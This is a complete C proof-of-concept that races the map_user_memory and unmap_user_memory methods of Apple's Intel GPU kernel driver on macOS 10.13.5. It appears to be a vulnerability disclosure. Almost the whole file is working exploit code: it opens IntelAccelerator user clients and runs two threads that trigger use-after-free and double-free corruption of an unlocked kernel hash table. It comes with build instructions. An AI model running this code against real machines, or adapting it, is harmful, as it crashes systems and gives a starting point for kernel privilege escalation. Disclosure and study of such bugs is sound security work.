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/* This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 */ //ianbeer // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit #if 0 UaF/Double-delete due to bad locking in Apple Intel GPU driver This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 #endif #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <IOKit/IOKitLib.h> struct mem_desc { uint64_t ptr; uint64_t size; }; uint64_t map_user_memory(mach_port_t conn) { kern_return_t err; void* mem = malloc(0x20000); // make sure that the address we pass is page-aligned: mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff); printf("trying to map user pointer: %p\n", mem); uint64_t inputScalar[16] = {0}; uint64_t inputScalarCnt = 0; char inputStruct[4096] = {0}; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x10; outputScalarCnt = 4096; outputStructCnt = 16; struct mem_desc* md = (struct mem_desc*)inputStruct; md->ptr = (uint64_t)mem; md->size = 0x1000; err = IOConnectCallMethod( conn, 0x200, // IGAccelGLContext::map_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); //return 0; } else{ printf("worked? outputScalarCnt = %d\n", outputScalarCnt); } printf("outputScalarCnt = %d\n", outputScalarCnt); md = (struct mem_desc*)outputStruct; printf("0x%llx :: 0x%llx\n", md->ptr, md->size); return (uint64_t)mem; } uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x8; outputScalarCnt = 4096; outputStructCnt = 16; *((uint64_t*)inputStruct) = handle; err = IOConnectCallMethod( conn, 0x201, // IGAccelGLContext::unmap_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } volatile mach_port_t gl_context = MACH_PORT_NULL; #define N_HANDLES 40 void go(void* arg){ while (1) { uint64_t handles[N_HANDLES] = {0}; for (int i = 0; i < N_HANDLES; i++) { handles[i] = map_user_memory(gl_context); } for (int i = 0; i < N_HANDLES; i++) { unmap_user_memory(gl_context, handles[i]); } } } int main(int argc, char** argv){ // get an IGAccelGLContext gl_context = get_user_client("IntelAccelerator", 1); printf("gl_context: %x\n", gl_context); // get a IGAccelSharedUserClient mach_port_t shared = get_user_client("IntelAccelerator", 6); printf("shared: %x\n", shared); // connect the gl_context to the shared UC so we can actually use it: kern_return_t err = IOConnectAddClient(gl_context, shared); if (err != KERN_SUCCESS){ printf("IOConnectAddClient error: %x\n", err); return 0; } printf("added client to the shared UC\n"); #define N_THREADS 2 pthread_t threads[N_THREADS]; for (int i = 0; i < N_THREADS; i++) { pthread_create(&threads[i], NULL, go, NULL); } pthread_join(threads[0], NULL); return 0; } |
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